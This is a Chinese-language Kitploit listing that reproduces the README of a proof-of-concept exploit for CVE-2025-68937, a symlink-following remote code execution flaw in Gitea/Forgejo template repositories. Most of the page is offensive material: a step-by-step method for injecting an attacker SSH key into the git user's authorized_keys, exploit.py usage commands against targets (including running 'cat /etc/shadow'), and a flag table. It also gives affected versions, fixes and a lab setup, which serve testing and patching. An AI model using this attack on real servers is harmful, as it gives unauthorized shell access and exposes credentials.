Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-68937 — Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user. | Kitploit
工具/GitHubGitHub/scratchappy/cve-2025-68937
Privilege EscalationExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubscratchappy/cve-2025-68937

CVE-2025-68937

Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.

查看仓库
19天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-68937 - Gitea/Forgejo 模板符号链接 RCE

CVE-2025-68937 的自动化概念验证:在 Gitea 和 Forgejo 的模板仓库处理过程中,通过符号链接解引用实现目录遍历,进而导致远程代码执行。

任何已认证用户(无需管理员权限)都可以获得 git 服务用户的 shell。

漏洞

当从模板生成新仓库时,Gitea/Forgejo 会复制模板文件,并在 .gitea/template 中列出的文件里展开诸如 ${REPO_DESCRIPTION} 之类的变量。此过程跟随符号链接且不进行任何校验,从而允许攻击者读取和写入服务器上的任意文件。

详情值
CVECVE-2025-68937
CVSS 4.09.5 严重
CWECWE-61(UNIX 符号链接跟随)
需要认证是(任意用户)
需要管理员否

受影响版本

软件受影响版本修复版本
Gitea>= 1.11.0-rc1, <= 1.24.61.24.7
Forgejo<= 11.0.611.0.7
Forgejo>= 12.0.0, <= 13.0.113.0.2

工作原理

root@kitploit:~
                          Gitea Server
                    +---------------------+
 1. Register SSH    |  authorized_keys:   |
    key with        |  command="gitea     |
    ${REPO_DESC}    |  serv..." ssh-ed... |
    as comment      |  ${REPO_DESCRIPTION}|
                    +---------------------+
                              |
 2. Template repo             |  symlink
    authorized_keys --------->+  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |  <attacker SSH key> | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...
  1. 向 Gitea 注册一个恶意 SSH 密钥 —— 该密钥的注释中包含 ${REPO_DESCRIPTION},这是 Gitea 会展开的一个模板变量
  2. 创建一个模板仓库,其中包含:
    • 列出 authorized_keys 以进行变量展开的 .gitea/template 文件
    • 一个指向 git 用户真实 authorized_keys 文件的 git 符号链接 authorized_keys
  3. 从模板生成一个子仓库,并在描述字段中填入攻击者无限制的 SSH 公钥
  4. 模板展开会跟随符号链接,读取真实的 authorized_keys 文件(其中包含我们注册的密钥,注释中带有 ${REPO_DESCRIPTION}),将变量展开为子仓库的描述(我们的 SSH 密钥),并通过符号链接将结果写回
  5. 使用注入的密钥以 git 用户身份 SSH 登录(无 command= 限制)

使用方法

root@kitploit:~
pip install requests
root@kitploit:~
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup

选项

测试环境

启动一个易受攻击的实例:

root@kitploit:~
docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6
  1. 打开 http://localhost:3000,完成安装向导(使用 SQLite 即可)
  2. 注册一个用户账户
  3. 运行:
root@kitploit:~
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222

环境要求

  • Python 3.8+
  • requests
  • git 和 ssh-keygen 位于 PATH 中

修复方案

  • Gitea:升级到 1.24.7 或更高版本
  • Forgejo:升级到 11.0.7(LTS)或 13.0.2 及更高版本

参考资料

  • NVD: CVE-2025-68937
  • GitHub 安全公告:GHSA-7mhf-6fhv-c83c
  • Gitea 安全修复分析(PR #36734 和 #36746)
  • Gitea 1.24.7 发布说明

免责声明

此工具仅用于经授权的安全测试和教育目的。只能对您拥有或已获得明确书面许可的系统进行测试。未经授权访问计算机系统属于违法行为。作者对滥用行为不承担任何责任。

下载工具
标志默认值描述
-u, --url必填Gitea/Forgejo 基础 URL
-U, --user必填用户名
-P, --password必填密码
--git-home/data/git目标上 git 用户的主目录
--ssh-host来自 --url要连接的 SSH 主机
--ssh-port22Gitea SSH 端口
--timeout30等待 SSH 的秒数
--command交互式获得 shell 后要执行的命令
--cleanup-移除利用产物